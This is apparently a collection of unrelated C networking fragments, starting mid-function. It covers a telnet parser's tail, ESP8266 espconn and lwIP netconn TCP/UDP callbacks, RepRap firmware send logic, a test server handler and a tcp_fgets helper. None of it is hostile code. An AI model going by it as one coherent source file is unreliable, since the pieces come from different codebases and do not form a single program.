DCC_LOG1(LOG_TRACE, "suboption: %d", c); } // sb_buf[sb_len++] = c; break; case TN_SB_IAC_RCVD: if (c == SE) { state = TN_DATA; // tn_suboption(cpc, sb_buf, sb_len); } else { state = TN_SUBOPTION; // sb_buf[sb_len++] = c; } break; case TN_INVALID_SUBOPTION: if (c == IAC) state = TN_INVALID_SB_IAC_RCVD; break; case TN_INVALID_SB_IAC_RCVD: if (c == SE) state = TN_DATA; else state = TN_INVALID_SUBOPTION; break; default: DCC_LOG1(LOG_WARNING, "invalid state: %d!!", state); break; } } } DCC_LOG(LOG_TRACE, "close..."); tcp_close(tp); INF("TELNET connection closed."); tn->tp = NULL; } DCC_LOG(LOG_ERROR, "thread loop break!!!"); for(;;); }
/****************************************************************************** * FunctionName : espconn_tcp_accept * Description : A new incoming connection has been accepted. * Parameters : arg -- Additional argument to pass to the callback function * pcb -- The connection pcb which is accepted * err -- An unused error code, always ERR_OK currently * Returns : acception result *******************************************************************************/ static err_t ICACHE_FLASH_ATTR espconn_tcp_accept(void *arg, struct tcp_pcb *pcb, err_t err) { struct espconn *espconn = arg; espconn_msg *paccept = NULL; remot_info *pinfo = NULL; LWIP_UNUSED_ARG(err); if (!espconn || !espconn->proto.tcp) { return ERR_ARG; } tcp_arg(pcb, paccept); tcp_err(pcb, esponn_server_err); /*Ensure the active connection is less than the count of active connections on the server*/ espconn_get_connection_info(espconn, &pinfo , 0); espconn_printf("espconn_tcp_accept link_cnt: %d\n", espconn->link_cnt); if (espconn->link_cnt == espconn_tcp_get_max_con_allow(espconn)) return ERR_ISCONN; /*Creates a new active connect control message*/ paccept = (espconn_msg *)os_zalloc(sizeof(espconn_msg)); tcp_arg(pcb, paccept); if (paccept == NULL) return ERR_MEM; /*Insert the node to the active connection list*/ espconn_list_creat(&plink_active, paccept); paccept->preverse = espconn; paccept->pespconn = (struct espconn *)os_zalloc(sizeof(struct espconn)); if (paccept->pespconn == NULL) return ERR_MEM; paccept->pespconn->proto.tcp = (esp_tcp *)os_zalloc(sizeof(esp_tcp)); if (paccept->pespconn->proto.tcp == NULL) return ERR_MEM; /*Reserve the remote information for current active connection*/ paccept->pcommon.pcb = pcb; paccept->pcommon.remote_port = pcb->remote_port; paccept->pcommon.remote_ip[0] = ip4_addr1_16(&pcb->remote_ip); paccept->pcommon.remote_ip[1] = ip4_addr2_16(&pcb->remote_ip); paccept->pcommon.remote_ip[2] = ip4_addr3_16(&pcb->remote_ip); paccept->pcommon.remote_ip[3] = ip4_addr4_16(&pcb->remote_ip); paccept->pcommon.write_flag = true; os_memcpy(espconn->proto.tcp->remote_ip, paccept->pcommon.remote_ip, 4); espconn->proto.tcp->remote_port = pcb->remote_port; espconn->state = ESPCONN_CONNECT; espconn_copy_partial(paccept->pespconn, espconn); /*Set the specify function that should be called * when TCP data has been successfully delivered, * when active connection receives data, * or periodically from active connection*/ tcp_sent(pcb, espconn_server_sent); tcp_recv(pcb, espconn_server_recv); tcp_poll(pcb, espconn_server_poll, 8); /* every 1 seconds */ /*Disable Nagle algorithm default*/ tcp_nagle_disable(pcb); /*Default set the total number of espconn_buf on the unsent lists for one*/ espconn_tcp_set_buf_count(paccept->pespconn, 1); if (paccept->pespconn->proto.tcp->connect_callback != NULL) { paccept->pespconn->proto.tcp->connect_callback(paccept->pespconn); } /*Enable keep alive option*/ if (espconn_keepalive_disabled(paccept)) espconn_keepalive_enable(pcb); return ERR_OK; }
/** * Receive callback function for UDP netconns. * Posts the packet to conn->recvmbox or deletes it on memory error. * * @see udp.h (struct udp_pcb.recv) for parameters */ static void recv_udp(void *arg, struct udp_pcb *pcb, struct pbuf *p, ip_addr_t *addr, u16_t port) { struct netbuf *buf; struct netconn *conn; u16_t len; #if LWIP_SO_RCVBUF int recv_avail; #endif /* LWIP_SO_RCVBUF */ LWIP_UNUSED_ARG(pcb); /* only used for asserts... */ LWIP_ASSERT("recv_udp must have a pcb argument", pcb != NULL); LWIP_ASSERT("recv_udp must have an argument", arg != NULL); conn = (struct netconn *)arg; LWIP_ASSERT("recv_udp: recv for wrong pcb!", conn->pcb.udp == pcb); #if LWIP_SO_RCVBUF SYS_ARCH_GET(conn->recv_avail, recv_avail); if ((conn == NULL) || !sys_mbox_valid(&conn->recvmbox) || ((recv_avail + (int)(p->tot_len)) > conn->recv_bufsize)) { #else /* LWIP_SO_RCVBUF */ if ((conn == NULL) || !sys_mbox_valid(&conn->recvmbox)) { #endif /* LWIP_SO_RCVBUF */ pbuf_free(p); return; } buf = (struct netbuf *)memp_malloc(MEMP_NETBUF); if (buf == NULL) { pbuf_free(p); return; } else { buf->p = p; buf->ptr = p; ip_addr_set(&buf->addr, addr); buf->port = port; #if LWIP_NETBUF_RECVINFO { const struct ip_hdr* iphdr = ip_current_header(); /* get the UDP header - always in the first pbuf, ensured by udp_input */ const struct udp_hdr* udphdr = (void*)(((char*)iphdr) + IPH_LEN(iphdr)); #if LWIP_CHECKSUM_ON_COPY buf->flags = NETBUF_FLAG_DESTADDR; #endif /* LWIP_CHECKSUM_ON_COPY */ ip_addr_set(&buf->toaddr, ip_current_dest_addr()); buf->toport_chksum = udphdr->dest; } #endif /* LWIP_NETBUF_RECVINFO */ } len = p->tot_len; if (sys_mbox_trypost(&conn->recvmbox, buf) != ERR_OK) { netbuf_delete(buf); return; } else { #if LWIP_SO_RCVBUF SYS_ARCH_INC(conn->recv_avail, len); #endif /* LWIP_SO_RCVBUF */ /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, len); } } #endif /* LWIP_UDP */ #if LWIP_TCP /** * Receive callback function for TCP netconns. * Posts the packet to conn->recvmbox, but doesn't delete it on errors. * * @see tcp.h (struct tcp_pcb.recv) for parameters and return value */ static err_t recv_tcp(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err) { struct netconn *conn; u16_t len; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("recv_tcp must have a pcb argument", pcb != NULL); LWIP_ASSERT("recv_tcp must have an argument", arg != NULL); conn = (struct netconn *)arg; LWIP_ASSERT("recv_tcp: recv for wrong pcb!", conn->pcb.tcp == pcb); if (conn == NULL) { return ERR_VAL; } if (!sys_mbox_valid(&conn->recvmbox)) { /* recvmbox already deleted */ if (p != NULL) { tcp_recved(pcb, p->tot_len); pbuf_free(p); } return ERR_OK; } /* Unlike for UDP or RAW pcbs, don't check for available space using recv_avail since that could break the connection (data is already ACKed) */ /* don't overwrite fatal errors! */ NETCONN_SET_SAFE_ERR(conn, err); if (p != NULL) { len = p->tot_len; } else { len = 0; } if (sys_mbox_trypost(&conn->recvmbox, p) != ERR_OK) { /* don't deallocate p: it is presented to us later again from tcp_fasttmr! */ return ERR_MEM; } else { #if LWIP_SO_RCVBUF SYS_ARCH_INC(conn->recv_avail, len); #endif /* LWIP_SO_RCVBUF */ /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, len); } return ERR_OK; } /** * Poll callback function for TCP netconns. * Wakes up an application thread that waits for a connection to close * or data to be sent. The application thread then takes the * appropriate action to go on. * * Signals the conn->sem. * netconn_close waits for conn->sem if closing failed. * * @see tcp.h (struct tcp_pcb.poll) for parameters and return value */ static err_t poll_tcp(void *arg, struct tcp_pcb *pcb) { struct netconn *conn = (struct netconn *)arg; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("conn != NULL", (conn != NULL)); if (conn->state == NETCONN_WRITE) { do_writemore(conn); } else if (conn->state == NETCONN_CLOSE) { do_close_internal(conn); } /* @todo: implement connect timeout here? */ /* Did a nonblocking write fail before? Then check available write-space. */ if (conn->flags & NETCONN_FLAG_CHECK_WRITESPACE) { /* If the queued byte- or pbuf-count drops below the configured low-water limit, let select mark this pcb as writable again. */ if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT) && (tcp_sndqueuelen(conn->pcb.tcp) < TCP_SNDQUEUELOWAT)) { conn->flags &= ~NETCONN_FLAG_CHECK_WRITESPACE; API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0); } } return ERR_OK; } /** * Sent callback function for TCP netconns. * Signals the conn->sem and calls API_EVENT. * netconn_write waits for conn->sem if send buffer is low. * * @see tcp.h (struct tcp_pcb.sent) for parameters and return value */ static err_t sent_tcp(void *arg, struct tcp_pcb *pcb, u16_t len) { struct netconn *conn = (struct netconn *)arg; LWIP_UNUSED_ARG(pcb); LWIP_ASSERT("conn != NULL", (conn != NULL)); if (conn->state == NETCONN_WRITE) { do_writemore(conn); } else if (conn->state == NETCONN_CLOSE) { do_close_internal(conn); } if (conn) { /* If the queued byte- or pbuf-count drops below the configured low-water limit, let select mark this pcb as writable again. */ if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT) && (tcp_sndqueuelen(conn->pcb.tcp) < TCP_SNDQUEUELOWAT)) { conn->flags &= ~NETCONN_FLAG_CHECK_WRITESPACE; API_EVENT(conn, NETCONN_EVT_SENDPLUS, len); } } return ERR_OK; } /** * Error callback function for TCP netconns. * Signals conn->sem, posts to all conn mboxes and calls API_EVENT. * The application thread has then to decide what to do. * * @see tcp.h (struct tcp_pcb.err) for parameters */ static void err_tcp(void *arg, err_t err) { struct netconn *conn; enum netconn_state old_state; SYS_ARCH_DECL_PROTECT(lev); conn = (struct netconn *)arg; LWIP_ASSERT("conn != NULL", (conn != NULL)); conn->pcb.tcp = NULL; /* no check since this is always fatal! */ SYS_ARCH_PROTECT(lev); conn->last_err = err; SYS_ARCH_UNPROTECT(lev); /* reset conn->state now before waking up other threads */ old_state = conn->state; conn->state = NETCONN_NONE; /* Notify the user layer about a connection error. Used to signal select. */ API_EVENT(conn, NETCONN_EVT_ERROR, 0); /* Try to release selects pending on 'read' or 'write', too. They will get an error if they actually try to read or write. */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0); /* pass NULL-message to recvmbox to wake up pending recv */ if (sys_mbox_valid(&conn->recvmbox)) { /* use trypost to prevent deadlock */ sys_mbox_trypost(&conn->recvmbox, NULL); } /* pass NULL-message to acceptmbox to wake up pending accept */ if (sys_mbox_valid(&conn->acceptmbox)) { /* use trypost to preven deadlock */ sys_mbox_trypost(&conn->acceptmbox, NULL); } if ((old_state == NETCONN_WRITE) || (old_state == NETCONN_CLOSE) || (old_state == NETCONN_CONNECT)) { /* calling do_writemore/do_close_internal is not necessary since the pcb has already been deleted! */ int was_nonblocking_connect = IN_NONBLOCKING_CONNECT(conn); SET_NONBLOCKING_CONNECT(conn, 0); if (!was_nonblocking_connect) { /* set error return code */ LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL); conn->current_msg->err = err; conn->current_msg = NULL; /* wake up the waiting task */ sys_sem_signal(&conn->op_completed); } } else { LWIP_ASSERT("conn->current_msg == NULL", conn->current_msg == NULL); } } /** * Setup a tcp_pcb with the correct callback function pointers * and their arguments. * * @param conn the TCP netconn to setup */ static void setup_tcp(struct netconn *conn) { struct tcp_pcb *pcb; pcb = conn->pcb.tcp; tcp_arg(pcb, conn); tcp_recv(pcb, recv_tcp); tcp_sent(pcb, sent_tcp); tcp_poll(pcb, poll_tcp, 4); tcp_err(pcb, err_tcp); } /** * Accept callback function for TCP netconns. * Allocates a new netconn and posts that to conn->acceptmbox. * * @see tcp.h (struct tcp_pcb_listen.accept) for parameters and return value */ static err_t accept_function(void *arg, struct tcp_pcb *newpcb, err_t err) { struct netconn *newconn; struct netconn *conn = (struct netconn *)arg; LWIP_DEBUGF(API_MSG_DEBUG, ("accept_function: newpcb->tate: %s\n", tcp_debug_state_str(newpcb->state))); if (!sys_mbox_valid(&conn->acceptmbox)) { LWIP_DEBUGF(API_MSG_DEBUG, ("accept_function: acceptmbox already deleted\n")); return ERR_VAL; } /* We have to set the callback here even though * the new socket is unknown. conn->socket is marked as -1. */ newconn = netconn_alloc(conn->type, conn->callback); if (newconn == NULL) { return ERR_MEM; } newconn->pcb.tcp = newpcb; setup_tcp(newconn); /* no protection: when creating the pcb, the netconn is not yet known to the application thread */ newconn->last_err = err; if (sys_mbox_trypost(&conn->acceptmbox, newconn) != ERR_OK) { /* When returning != ERR_OK, the pcb is aborted in tcp_process(), so do nothing here! */ newconn->pcb.tcp = NULL; /* no need to drain since we know the recvmbox is empty. */ sys_mbox_free(&newconn->recvmbox); sys_mbox_set_invalid(&newconn->recvmbox); netconn_free(newconn); return ERR_MEM; } else { /* Register event with callback */ API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); } return ERR_OK; } #endif /* LWIP_TCP */ /** * Create a new pcb of a specific type. * Called from do_newconn(). * * @param msg the api_msg_msg describing the connection type * @return msg->conn->err, but the return value is currently ignored */ static void pcb_new(struct api_msg_msg *msg) { LWIP_ASSERT("pcb_new: pcb already allocated", msg->conn->pcb.tcp == NULL); /* Allocate a PCB for this connection */ switch(NETCONNTYPE_GROUP(msg->conn->type)) { #if LWIP_RAW case NETCONN_RAW: msg->conn->pcb.raw = raw_new(msg->msg.n.proto); if(msg->conn->pcb.raw == NULL) { msg->err = ERR_MEM; break; } raw_recv(msg->conn->pcb.raw, recv_raw, msg->conn); break; #endif /* LWIP_RAW */ #if LWIP_UDP case NETCONN_UDP: msg->conn->pcb.udp = udp_new(); if(msg->conn->pcb.udp == NULL) { msg->err = ERR_MEM; break; } #if LWIP_UDPLITE if (msg->conn->type==NETCONN_UDPLITE) { udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_UDPLITE); } #endif /* LWIP_UDPLITE */ if (msg->conn->type==NETCONN_UDPNOCHKSUM) { udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_NOCHKSUM); } udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn); break; #endif /* LWIP_UDP */ #if LWIP_TCP case NETCONN_TCP: msg->conn->pcb.tcp = tcp_new(); if(msg->conn->pcb.tcp == NULL) { msg->err = ERR_MEM; break; } setup_tcp(msg->conn); break; #endif /* LWIP_TCP */ default: /* Unsupported netconn type, e.g. protocol disabled */ msg->err = ERR_VAL; break; } }
// Send some data or close this connection if we can, returning true if we can free up this object bool RequestState::Send() { if (LostConnection()) { if (fileBeingSent != NULL) { fileBeingSent->Close(); fileBeingSent = NULL; } return true; } if (hs->SendInProgress()) { return false; } if (sentDataOutstanding != 0) { float timeNow = reprap.GetPlatform()->Time(); if (timeNow - lastWriteTime > writeTimeout) { debugPrintf("Timing out connection hs=%08x\n", (unsigned int)hs); HttpState *locHs = hs; // take a copy because our hs field is about to get cleared reprap.GetNetwork()->ConnectionClosing(locHs); tcp_pcb *pcb = locHs->pcb; tcp_arg(pcb, NULL); tcp_sent(pcb, NULL); tcp_recv(pcb, NULL); tcp_poll(pcb, NULL, 4); tcp_abort(pcb); mem_free(locHs); return false; // this RS will be freed next time round } } if (sentDataOutstanding >= ARRAY_SIZE(outputBuffer)/2) { return false; // don't send until at least half the output buffer is free } if (fileBeingSent != NULL) { unsigned int outputLimit = (sentDataOutstanding == 0) ? ARRAY_SIZE(outputBuffer) : min<unsigned int>(unsentPointer + ARRAY_SIZE(outputBuffer)/2, ARRAY_SIZE(outputBuffer)); while (outputPointer < outputLimit) { bool ok = fileBeingSent->Read(outputBuffer[outputPointer]); if (!ok) { fileBeingSent->Close(); fileBeingSent = NULL; break; } ++outputPointer; } } if (outputPointer == unsentPointer) { // We have no data to send. fileBeingSent must already be NULL here. if (!persistConnection && !closeRequested && nextWrite == NULL) { tcp_close(hs->pcb); closeRequested = true; // Don't release this RS yet, the write buffer may still be needed to do send retries return false; } if (sentDataOutstanding != 0) { return false; } // We've finished with this RS if (closeRequested) { // debugPrintf("Closing connection hs=%08x\n", (unsigned int)hs); HttpState *locHs = hs; // take a copy because our hs field is about to get cleared reprap.GetNetwork()->ConnectionClosing(locHs); tcp_pcb *pcb = locHs->pcb; tcp_arg(pcb, NULL); tcp_sent(pcb, NULL); tcp_recv(pcb, NULL); tcp_poll(pcb, NULL, 4); mem_free(locHs); } return true; } else { sentDataOutstanding += (outputPointer - unsentPointer); RepRapNetworkSendOutput(outputBuffer + unsentPointer, outputPointer - unsentPointer, hs); unsentPointer = (outputPointer == ARRAY_SIZE(outputBuffer)) ? 0 : outputPointer; outputPointer = unsentPointer; lastWriteTime = reprap.GetPlatform()->Time(); return false; } }
// This is called by the Webserver to send output data to a client. If keepConnectionAlive is set to false, // the current connection will be terminated once everything has been sent. void NetworkTransaction::Commit(bool keepConnectionAlive) { // If the connection has been terminated (e.g. RST received while writing upload data), discard this transaction if (!IsConnected() || status == released) { Discard(); return; } // Free buffer holding the incoming data and prepare some values for the sending process FreePbuf(); cs->persistConnection = keepConnectionAlive; if (sendBuffer == nullptr) { sendBuffer = sendStack->Pop(); } status = sending; // Unlink the item(s) from the list of ready transactions if (keepConnectionAlive) { // Our connection is still of interest, remove only this transaction from the list NetworkTransaction *previous = nullptr; for(NetworkTransaction *item = reprap.GetNetwork().readyTransactions; item != nullptr; item = item->next) { if (item == this) { if (previous == nullptr) { reprap.GetNetwork().readyTransactions = next; } else { previous->next = next; } break; } previous = item; } } else { // We will close this connection soon, stop receiving data from this PCB tcp_recv(cs->pcb, nullptr); // Also remove all ready transactions pointing to our ConnectionState NetworkTransaction *previous = nullptr, *item = reprap.GetNetwork().readyTransactions; while (item != nullptr) { if (item->cs == cs) { if (item == this) { // Only unlink this item if (previous == nullptr) { reprap.GetNetwork().readyTransactions = next; } else { previous->next = next; } item = next; } else { // Remove all others item->Discard(); item = (previous == nullptr) ? reprap.GetNetwork().readyTransactions : previous->next; } } else { previous = item; item = item->next; } } } // Enqueue this transaction, so it's sent in the right order NetworkTransaction *mySendingTransaction = cs->sendingTransaction; if (mySendingTransaction == nullptr) { cs->sendingTransaction = this; reprap.GetNetwork().AppendTransaction(&reprap.GetNetwork().writingTransactions, this); } else { while (mySendingTransaction->nextWrite != nullptr) { mySendingTransaction = mySendingTransaction->nextWrite; } mySendingTransaction->nextWrite = this; } }
/*..........................................................................*/ static err_t server_accept(void *arg, struct tcp_pcb *pcb, err_t err) { struct server_state *hs; LWIP_UNUSED_ARG(arg); LWIP_UNUSED_ARG(err); // DEBUG_PRINT("server_accept 0x%08x\n", pcb); /* Allocate memory for the structure that holds the state of the connection. */ hs = (struct server_state *)mem_malloc(sizeof(struct server_state)); if (hs == NULL) { // DEBUG_PRINT("server_accept: Out of memory\n"); return ERR_MEM; } /* Initialize the structure. */ hs->file = NULL; hs->buf = NULL; hs->buf_len = 0; hs->left = 0; hs->retries = 0; /* Tell TCP that this is the structure we wish to be passed for our callbacks. */ tcp_arg(pcb, hs); /* Tell TCP that we wish to be informed of incoming data by a call to the server_recv() function. */ tcp_recv(pcb, server_recv); tcp_err(pcb, conn_err); tcp_poll(pcb, server_poll, 4); //test begin appdata[0] = 'I'; appdata[1] = 'S'; appdata[2] = 'I'; appdata[3] = 'S'; appdata[4] = ' '; appdata[5] = ':'; appdata[6] = ')'; appdata[7] = ' '; /* appdata[0] = 0xAA; appdata[1] = 0xAA; appdata[2] = 0xAA; appdata[3] = 0xAA; appdata[4] = 0xAA; appdata[5] = 0xAA; appdata[6] = 0xAA; appdata[7] = 0xAA; */ hs->file = (char *)appdata; hs->left = 8; send_data(pcb, hs); // Tell TCP that we wish be to informed of data that has been // successfully sent by a call to the http_sent() function. tcp_sent(pcb, server_sent); //test end return ERR_OK; }
int tcp_fgets(nsp_state *N, TCP_SOCKET *socket, char *buffer, int max) { #define __FN__ __FILE__ ":tcp_fgets()" char *pbuffer = buffer; char *obuffer; short int lf = 0; short int n = 0; int rc; int x; retry: if (!socket->recvbufsize) { x = sizeof(socket->recvbuf) - socket->recvbufoffset - socket->recvbufsize - 2; if (x < 1) { nc_memset(socket->recvbuf, 0, sizeof(socket->recvbuf)); socket->recvbufoffset = 0; socket->recvbufsize = 0; x = sizeof(socket->recvbuf) - socket->recvbufoffset - socket->recvbufsize - 2; } obuffer = socket->recvbuf + socket->recvbufoffset + socket->recvbufsize; if (x > max) x = max; if ((rc = tcp_recv(N, socket, obuffer, x, 0)) < 0) { return -1; } else if (rc < 1) { /* goto retry; */ *pbuffer = '\0'; return n; } socket->recvbufsize += rc; } obuffer = socket->recvbuf + socket->recvbufoffset; while ((n < max) && (socket->recvbufsize>0)) { socket->recvbufoffset++; socket->recvbufsize--; n++; if (*obuffer == '\n') lf = 1; *pbuffer++ = *obuffer++; if ((lf) || (*obuffer == '\0')) break; } *pbuffer = '\0'; if (n > max - 1) { /* if (N->debug) n_warn(N, __FN__, "[%s:%d] %s", socket->RemoteAddr, socket->RemotePort, buffer); */ return n; } if (!lf) { if (socket->recvbufsize > 0) { nc_memcpy(socket->recvbuf, socket->recvbuf + socket->recvbufoffset, socket->recvbufsize); nc_memset(socket->recvbuf + socket->recvbufsize, 0, sizeof(socket->recvbuf) - socket->recvbufsize); socket->recvbufoffset = 0; } else { nc_memset(socket->recvbuf, 0, sizeof(socket->recvbuf)); socket->recvbufoffset = 0; socket->recvbufsize = 0; } goto retry; } /* if (N->debug) n_warn(N, __FN__, "[%s:%d] %s", socket->RemoteAddr, socket->RemotePort, buffer); */ return n; #undef __FN__ }
/** * Internal helper function to close a TCP netconn: since this sometimes * doesn't work at the first attempt, this function is called from multiple * places. * * @param conn the TCP netconn to close */ static void do_close_internal(struct netconn *conn) { LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("Begin do_close_internal conn=%08x conn->pcb.tcp=%08x localport=%d remoteip=%08x remoteport=%d\n", conn, conn->pcb.tcp, conn->pcb.tcp->local_port, conn->pcb.tcp->remote_ip, conn->pcb.tcp->remote_port)); err_t err; u8_t shut, shut_rx, shut_tx, close; LWIP_ASSERT("invalid conn", (conn != NULL)); LWIP_ASSERT("this is for tcp netconns only", (conn->type == NETCONN_TCP)); LWIP_ASSERT("conn must be in state NETCONN_CLOSE", (conn->state == NETCONN_CLOSE)); LWIP_ASSERT("pcb already closed", (conn->pcb.tcp != NULL)); LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL); shut = conn->current_msg->msg.sd.shut; shut_rx = shut & NETCONN_SHUT_RD; shut_tx = shut & NETCONN_SHUT_WR; /* shutting down both ends is the same as closing */ close = shut == NETCONN_SHUT_RDWR; /* Set back some callback pointers */ if (close) { tcp_arg(conn->pcb.tcp, NULL); } if (conn->pcb.tcp->state == LISTEN) { tcp_accept(conn->pcb.tcp, NULL); } else { /* some callbacks have to be reset if tcp_close is not successful */ if (shut_rx) { tcp_recv(conn->pcb.tcp, NULL); tcp_accept(conn->pcb.tcp, NULL); } if (shut_tx) { tcp_sent(conn->pcb.tcp, NULL); } if (close) { tcp_poll(conn->pcb.tcp, NULL, 4); tcp_err(conn->pcb.tcp, NULL); } } /* Try to close the connection */ if (close) { LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close:calling tcp_close conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp)); err = tcp_close(conn->pcb.tcp); } else { LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close:shutdown:calling tcp_shutdown conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp)); err = tcp_shutdown(conn->pcb.tcp, shut_rx, shut_tx); } int close_always_returns = 0; #if defined ALII_4573_CLOSE_ALWAYS_RETURNS && ALII_4573_CLOSE_ALWAYS_RETURNS close_always_returns = 1; #endif if ((close_always_returns)||(err == ERR_OK)) { LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("Closing succeeded conn=%08x conn->pcb.tcp=%08x err=%d\n", conn, conn->pcb.tcp, err)); /* Closing succeeded */ conn->current_msg->err = err; conn->current_msg = NULL; conn->state = NETCONN_NONE; if (close) { /* Set back some callback pointers as conn is going away */ conn->pcb.tcp = NULL; /* Trigger select() in socket layer. Make sure everybody notices activity on the connection, error first! */ API_EVENT(conn, NETCONN_EVT_ERROR, 0); } if (shut_rx) { API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0); } if (shut_tx) { API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0); } /* wake up the application task */ LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("wake up the application task conn=%08x conn->pcb.tcp=%08x NETCONN_EVT_SENDPLUS\n", conn, conn->pcb.tcp)); conn_op_completed(conn); } else { /* Closing failed, restore some of the callbacks */ /* Closing of listen pcb will never fail! */ LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close failed conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp)); LWIP_ASSERT("Closing a listen pcb may not fail!", (conn->pcb.tcp->state != LISTEN)); tcp_sent(conn->pcb.tcp, sent_tcp); tcp_poll(conn->pcb.tcp, poll_tcp, 4); tcp_err(conn->pcb.tcp, err_tcp); tcp_arg(conn->pcb.tcp, conn); /* don't restore recv callback: we don't want to receive any more data */ } /* If closing didn't succeed, we get called again either from poll_tcp or from sent_tcp */ LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("End do_close_internal conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp)); }